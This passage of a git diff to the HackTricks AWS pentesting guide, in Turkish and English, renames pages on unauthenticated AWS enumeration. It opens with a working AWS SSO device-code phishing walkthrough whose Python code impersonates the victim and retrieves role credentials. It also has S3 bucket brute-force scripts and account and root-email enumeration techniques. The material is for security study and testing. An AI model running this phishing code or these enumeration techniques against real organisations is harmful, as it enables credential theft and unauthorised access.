oluşturun. +Demo için bu kodu bir python konsolunda çalıştırın ve daha sonra token almak için bazı objelere ihtiyacınız olacağından konsoldan çıkmayın: +```python +import boto3 + +REGION = 'us-east-1' # CHANGE THIS +AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS + +sso_oidc = boto3.client('sso-oidc', region_name=REGION) +client = sso_oidc.register_client( +clientName = 'attacker', +clientType = 'public' +) + +client_id = client.get('clientId') +client_secret = client.get('clientSecret') +authz = sso_oidc.start_device_authorization( +clientId=client_id, +clientSecret=client_secret, +startUrl=AWS_SSO_START_URL +) + +url = authz.get('verificationUriComplete') +deviceCode = authz.get('deviceCode') +print("Give this URL to the victim: " + url) +``` +Oluşturulan linki victim'e harika social engineering yeteneklerinle gönder! + +3. **Victim kabul edene kadar bekleyin** + +Eğer victim **already logged in AWS** ise, sadece permissions vermeyi kabul etmesi yeterli olacak; eğer değilse, **login yapıp sonra permissions vermeyi kabul etmesi** gerekecek.\ +Bu prompt günümüzde şöyle görünüyor: + +
+ +4. **SSO access token alın** + +Eğer victim prompt'u kabul ettiyse, bu kodu çalıştırarak **kullanıcıyı taklit ederek bir SSO token oluşturun**: +```python +token_response = sso_oidc.create_token( +clientId=client_id, +clientSecret=client_secret, +grantType="urn:ietf:params:oauth:grant-type:device_code", +deviceCode=deviceCode +) +sso_token = token_response.get('accessToken') +``` +SSO access token **8 saat boyunca geçerlidir**. + +5. **Kullanıcıyı taklit et** +```python +sso_client = boto3.client('sso', region_name=REGION) + +# List accounts where the user has access +aws_accounts_response = sso_client.list_accounts( +accessToken=sso_token, +maxResults=100 +) +aws_accounts_response.get('accountList', []) + +# Get roles inside an account +roles_response = sso_client.list_account_roles( +accessToken=sso_token, +accountId= +) +roles_response.get('roleList', []) + +# Get credentials over a role + +sts_creds = sso_client.get_role_credentials( +accessToken=sso_token, +roleName=, +accountId= +) +sts_creds.get('roleCredentials') +``` +### Phishing the unphisable MFA + +It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user. + +For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html). + +### Otomatik Araçlar + +- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) +- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) + +## Referanslar + +- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) +- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) +- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) +- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md index 899cd2f9f..2a708f13d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md @@ -1,6 +1,6 @@ -# AWS - IoT Kimlik Doğrulamasız Enum +# AWS - IoT Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### Genel URL şablonu ``` @@ -8,4 +8,4 @@ mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md deleted file mode 100644 index c0a04a762..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Kinesis Video Yetkisiz Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Genel URL şablonu -``` -https://{random_id}.kinesisvideo.{region}.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md new file mode 100644 index 000000000..c38f8223c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Kinesis Video Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Kamuya açık URL şablonu +``` +https://{random_id}.kinesisvideo.{region}.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md deleted file mode 100644 index 515e61a1f..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - Lambda Kimlik Doğrulamasız Erişim - -{{#include ../../../banners/hacktricks-training.md}} - -## Genel Fonksiyon URL'si - -Herkesin erişebileceği bir **genel fonksiyon URL'si** ile bir **Lambda** ilişkilendirmek mümkündür. Web güvenlik açıkları içerebilir. - -### Genel URL şablonu -``` -https://{random_id}.lambda-url.{region}.on.aws/ -``` -### Kamu Lambda URL'sinden Hesap ID'sini Alın - -S3 bucket'ları, Data Exchange ve API geçitlerinde olduğu gibi, kamuya açık bir lambda URL'sinden **`aws:ResourceAccount`** **Policy Condition Key**'sini kötüye kullanarak bir hesabın hesap ID'sini bulmak mümkündür. Bu, politikanın **`aws:ResourceAccount`** bölümünde joker karakterleri kullanarak hesap ID'sini birer birer bulmakla yapılır.\ -Bu teknik, tag anahtarını biliyorsanız **tag değerlerini** de almanıza olanak tanır (bazı varsayılan ilginç olanlar vardır). - -Daha fazla bilgi için [**orijinal araştırmaya**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) ve bu istismarı otomatikleştirmek için [**conditional-love**](https://github.com/plerionhq/conditional-love/) aracına bakabilirsiniz. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md new file mode 100644 index 000000000..d69b4648c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md @@ -0,0 +1,20 @@ +# AWS - Lambda Kimlik Doğrulamasız Erişim + +{{#include ../../../../banners/hacktricks-training.md}} + +## Public Function URL + +Herhangi birinin erişebileceği bir **Lambda**'yı **public function URL** ile ilişkilendirmek mümkündür. Bu, web zafiyetleri içerebilir. + +### Public URL template +``` +https://{random_id}.lambda-url.{region}.on.aws/ +``` +### Halka Açık Lambda URL'sinden Hesap Kimliği Alma + +S3 buckets, Data Exchange ve API gateways ile olduğu gibi, halka açık bir Lambda URL'sinden **`aws:ResourceAccount`** **Policy Condition Key**'i kötüye kullanarak bir hesabın hesap kimliğini bulmak mümkündür. Bu, politikanın **`aws:ResourceAccount`** bölümünde joker karakterleri kötüye kullanarak hesap kimliğini karakter karakter bularak yapılır.\ +Bu teknik ayrıca, tag anahtarını biliyorsanız **tag değerlerini** elde etmeyi de sağlar (bazı ilginç varsayılanlar mevcuttur). + +You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md index bd3a1553e..edbabbf12 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md @@ -1,11 +1,11 @@ -# AWS - Medya Yetkisiz Enum +# AWS - Media Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -### Kamu URL şablonu +### Kamuya açık URL şablonu ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md deleted file mode 100644 index 24aebd501..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - MQ Kimlik Doğrulaması Olmadan Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Genel Port - -### **RabbitMQ** - -**RabbitMQ** durumunda, **varsayılan olarak genel erişim** ve ssl etkinleştirilmiştir. Ancak erişim için **kimlik bilgilerine** ihtiyacınız var (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Ayrıca, `https://b-.mq.us-east-1.amazonaws.com/` adresinde kimlik bilgilerini biliyorsanız **web yönetim konsoluna erişmek** mümkündür. - -### ActiveMQ - -**ActiveMQ** durumunda, varsayılan olarak genel erişim ve ssl etkinleştirilmiştir, ancak erişim için kimlik bilgilerine ihtiyacınız var. - -### Genel URL şablonu -``` -https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ -ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md new file mode 100644 index 000000000..fa0c8cbe2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md @@ -0,0 +1,20 @@ +# AWS - MQ Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Genel Port + +### **RabbitMQ** + +**RabbitMQ** durumunda, varsayılan olarak **public access** ve ssl etkinleştirilmiştir. Ancak erişim için **credentials** gereklidir (`amqps://.mq.us-east-1.amazonaws.com:5671`). Ayrıca, credentials'ı biliyorsanız **web management console**'a erişmek mümkündür: `https://b-.mq.us-east-1.amazonaws.com/` + +### **ActiveMQ** + +**ActiveMQ** durumunda, varsayılan olarak public access ve ssl etkinleştirilmiştir; ancak erişim için credentials gerekmektedir. + +### Public URL şablonu +``` +https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ +ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md deleted file mode 100644 index 9a2f85a53..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - MSK Kimlik Doğrulaması Olmadan Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Genel Port - -**Kafka aracısını genel olarak açmak mümkündür**, ancak **kimlik bilgilerine**, IAM izinlerine veya geçerli bir sertifikaya ihtiyacınız olacak (yapılandırılan kimlik doğrulama yöntemine bağlı olarak). - -Ayrıca **kimlik doğrulamayı devre dışı bırakmak da mümkündür**, ancak bu durumda **portu doğrudan İnternete açmak mümkün değildir**. - -### Genel URL şablonu -``` -b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com -{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md new file mode 100644 index 000000000..32d567400 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md @@ -0,0 +1,16 @@ +# AWS - MSK Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Genel Port + +Kafka broker'ını **halka açmak** mümkün, ancak **credentials**, IAM izinleri veya geçerli bir sertifika gerekir (depending on the auth method configured). + +Ayrıca **authentication'ı devre dışı bırakmak** mümkün, ancak bu durumda **portu doğrudan internete açmak mümkün değildir**. + +### Genel URL şablonu +``` +b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com +{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md similarity index 59% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md index 63c37bc5f..cddcfadaa 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md @@ -1,22 +1,22 @@ -# AWS - RDS Yetkisiz Enum +# AWS - RDS Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS -Daha fazla bilgi için kontrol edin: +Daha fazla bilgi için bakınız: {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} ## Genel Port -**Veritabanına internetten** genel erişim sağlamak mümkündür. Saldırganın **kullanıcı adı ve şifreyi,** IAM erişimini veya veritabanına girmek için bir **açığı** bilmesi gerekecektir. +İnternetten veritabanına genel erişim vermek mümkündür. Saldırganın yine de veritabanına girebilmek için **kullanıcı adı ve parola**, IAM erişimi veya bir **exploit** bilmesi gerekir. -## Genel RDS Anlık Görüntüleri +## Herkese Açık RDS Snapshots -AWS, **herkese RDS anlık görüntülerini indirme erişimi verme** imkanı tanır. Bu genel RDS anlık görüntülerini kendi hesabınızdan çok kolay bir şekilde listeleyebilirsiniz: +AWS, RDS snapshot'larını indirmek için **herkese erişim verme** imkanı sağlar. Bu herkese açık RDS snapshots'larını kendi hesabınızdan çok kolay listeleyebilirsiniz: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -37,4 +37,4 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md deleted file mode 100644 index 38cb54ae9..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Redshift Yetkisiz Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Kamu URL şablonu -``` -{user_provided}...redshift.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md new file mode 100644 index 000000000..085744b8a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Redshift Yetkisiz Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Genel URL şablonu +``` +{user_provided}...redshift.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md deleted file mode 100644 index 0aa403dde..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ /dev/null @@ -1,194 +0,0 @@ -# AWS - S3 Yetkisiz Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 Kamu Bucket'ları - -Bir bucket, **herhangi bir kullanıcının** içeriğini listeleyebildiği durumda **“kamu”** olarak kabul edilir ve **sadece belirli kullanıcılar** tarafından **listeleme veya yazma** işlemlerinin yapılabildiği durumda **“özel”** olarak kabul edilir. - -Şirketler, AWS'deki herhangi bir hesapta her şeye veya herkese erişim sağlayan **bucket izinlerini yanlış yapılandırmış** olabilir (yani, herkese). Bu yanlış yapılandırmalara rağmen, bazı eylemlerin gerçekleştirilemeyeceğini unutmayın, çünkü bucket'ların kendi erişim kontrol listeleri (ACL'ler) olabilir. - -**AWS-S3 yanlış yapılandırması hakkında bilgi edinin:** [**http://flaws.cloud**](http://flaws.cloud/) **ve** [**http://flaws2.cloud/**](http://flaws2.cloud) - -### AWS Bucket'larını Bulma - -Bir web sayfasının bazı kaynakları depolamak için AWS kullanıp kullanmadığını bulmanın farklı yöntemleri: - -#### Enum ve OSINT: - -- **wappalyzer** tarayıcı eklentisini kullanma -- Burp kullanarak (**web'i tarama**) veya sayfada manuel olarak gezinerek tüm **yüklenen kaynaklar** Geçmiş'e kaydedilecektir. -- **Kaynakları kontrol et** şu alanlarda: - -``` -http://s3.amazonaws.com/[bucket_name]/ -http://[bucket_name].s3.amazonaws.com/ -``` - -- **CNAMES** kontrol edin, çünkü `resources.domain.com` CNAME `bucket.s3.amazonaws.com` olabilir. -- **[s3dns](https://github.com/olizimmermann/s3dns)** – DNS trafiğini analiz ederek bulut depolama bucket'larını (S3, GCP, Azure) pasif olarak tanımlayan hafif bir DNS sunucusu. CNAME'leri tespit eder, çözüm zincirlerini takip eder ve bucket desenlerini eşleştirir, kaba kuvvet veya API tabanlı keşif için sessiz bir alternatif sunar. Recon ve OSINT iş akışları için mükemmel. -- [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)'u kontrol edin, zaten **keşfedilmiş açık bucket'lar** ile bir web. -- **bucket adı** ve **bucket alan adı** **aynı olmalıdır.** -- **flaws.cloud** **IP** 52.92.181.107'dir ve oraya giderseniz [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) adresine yönlendirir. Ayrıca, `dig -x 52.92.181.107` `s3-website-us-west-2.amazonaws.com` verir. -- Bir bucket olup olmadığını kontrol etmek için [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/) adresini de **ziyaret edebilirsiniz**. - -#### Kaba Kuvvet - -Bucket'ları, test ettiğiniz şirketle ilgili **isimleri kaba kuvvetle** bulabilirsiniz: - -- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) -- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Potansiyel bucket isimleri içeren bir liste içerir) -- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) -- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) -- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) -- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) -- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) -- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) - -
# Permutasyonlar oluşturmak için bir kelime listesi oluştur
-curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
-curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
-cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
-
-# Test etmek için alan adları ve alt alan adlarına dayalı bir kelime listesi oluştur
-## Bu alan adlarını ve alt alan adlarını subdomains.txt dosyasına yazın
-cat subdomains.txt > /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
-
-# Saldırı için alan adları ve alt alan adları ile bir permutasyon listesi oluştur
-goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## Önceki araç, alt alanlar için permutasyonlar oluşturma konusunda uzmanlaşmıştır, bu listeyi filtreleyelim
-### "." ile biten satırları kaldır
-cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### TLD olmadan liste oluştur
-cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Noktalar olmadan liste oluştur
-cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Tireler olmadan liste oluştur
-cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
-
-## Nihai kelime listesini oluştur
-cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
-
-## s3scanner'ı çağır
-s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
-
- -#### S3 Bucket'larını Ele Geçirme - -Açık S3 bucket'ları verildiğinde, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) otomatik olarak **ilginç bilgileri arayabilir**. - -### Bölgeyi Bulma - -AWS tarafından desteklenen tüm bölgeleri [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) adresinde bulabilirsiniz. - -#### DNS ile - -Bir bucket'ın bölgesini **`dig`** ve **`nslookup`** kullanarak, keşfedilen IP'nin **DNS isteğini** yaparak alabilirsiniz: -```bash -dig flaws.cloud -;; ANSWER SECTION: -flaws.cloud. 5 IN A 52.218.192.11 - -nslookup 52.218.192.11 -Non-authoritative answer: -11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. -``` -Kontrol edin ki çözümlenen alan adında "website" kelimesi var.\ -Statik web sitesine şu adresten erişebilirsiniz: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -veya kovaya şu adresi ziyaret ederek erişebilirsiniz: `flaws.cloud.s3-us-west-2.amazonaws.com` - - - -#### Deneyerek - -Bir kovaya erişmeye çalıştığınızda, ancak **belirttiğiniz alan adında başka bir bölge varsa** (örneğin, kova `bucket.s3.amazonaws.com` içindeyse ama siz `bucket.s3-website-us-west-2.amazonaws.com` adresine erişmeye çalışıyorsanız, o zaman **doğru konuma yönlendirileceksiniz**: - -![](<../../../images/image (106).png>) - -### Kovanın Enumerasyonu - -Kovanın açıklığını test etmek için bir kullanıcı sadece URL'yi web tarayıcısına girebilir. Özel bir kova "Erişim Reddedildi" yanıtı verir. Kamuya açık bir kova, depolanan ilk 1.000 nesneyi listeleyecektir. - -Herkese açık: - -![](<../../../images/image (201).png>) - -Özel: - -![](<../../../images/image (83).png>) - -Bunu cli ile de kontrol edebilirsiniz: -```bash -#Use --no-sign-request for check Everyones permissions -#Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions -#--recursive if you want list recursivelyls -#Opcionally you can select the region if you now it -aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] -``` -Eğer bucket'ın bir alan adı yoksa, onu listelemeye çalışırken **sadece bucket adını** yazın ve tüm AWSs3 alan adını eklemeyin. Örnek: `s3://` - -### Kamu URL şablonu -``` -https://{user_provided}.s3.amazonaws.com -``` -### Kamu Bucket'ından Hesap ID'si Almak - -Yeni **`S3:ResourceAccount`** **Politika Koşul Anahtarı**'ndan yararlanarak bir AWS hesabını belirlemek mümkündür. Bu koşul, bir hesabın bulunduğu S3 bucket'a dayalı olarak **erişimi kısıtlar** (diğer hesap tabanlı politikalar, talep eden ilkenin bulunduğu hesaba dayalı olarak kısıtlar).\ -Ve politika **joker karakterler** içerebildiğinden, hesap numarasını **sadece bir rakamda** bulmak mümkündür. - -Bu araç süreci otomatikleştirir: -```bash -# Installation -pipx install s3-account-search -pip install s3-account-search -# With a bucket -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket -# With an object -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext -``` -Bu teknik, API Gateway URL'leri, Lambda URL'leri, Data Exchange veri setleri ile birlikte çalışır ve hatta etiketlerin değerini almak için (etiket anahtarını biliyorsanız) kullanılabilir. Daha fazla bilgi için [**orijinal araştırmaya**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) ve bu istismarı otomatikleştirmek için [**conditional-love**](https://github.com/plerionhq/conditional-love/) aracına bakabilirsiniz. - -### Bir bucket'ın bir AWS hesabına ait olduğunu doğrulama - -[**bu blog yazısında**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) açıklandığı gibi, **bir bucket'ı listeleme izinleriniz varsa**, bucket'ın ait olduğu accountID'yi doğrulamak mümkündür. Bunu yapmak için şu şekilde bir istek gönderebilirsiniz: -```bash -curl -X GET "[bucketname].amazonaws.com/" \ --H "x-amz-expected-bucket-owner: [correct-account-id]" - - -... -``` -Eğer hata “Erişim Reddedildi” ise, bu hesap kimliğinin yanlış olduğu anlamına gelir. - -### Kök hesap numaralandırması olarak kullanılan e-postalar - -[**bu blog yazısında**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) açıklandığı gibi, bir e-posta adresinin herhangi bir AWS hesabıyla ilişkili olup olmadığını **bir S3 kovasına ACL'ler aracılığıyla bir e-posta izni vermeyi deneyerek** kontrol etmek mümkündür. Eğer bu bir hata tetiklemiyorsa, bu e-postanın bazı AWS hesaplarının kök kullanıcısı olduğu anlamına gelir: -```python -s3_client.put_bucket_acl( -Bucket=bucket_name, -AccessControlPolicy={ -'Grants': [ -{ -'Grantee': { -'EmailAddress': 'some@emailtotest.com', -'Type': 'AmazonCustomerByEmail', -}, -'Permission': 'READ' -}, -], -'Owner': { -'DisplayName': 'Whatever', -'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' -} -} -) -``` -## Referanslar - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md new file mode 100644 index 000000000..cec556e12 --- /dev/null +++ 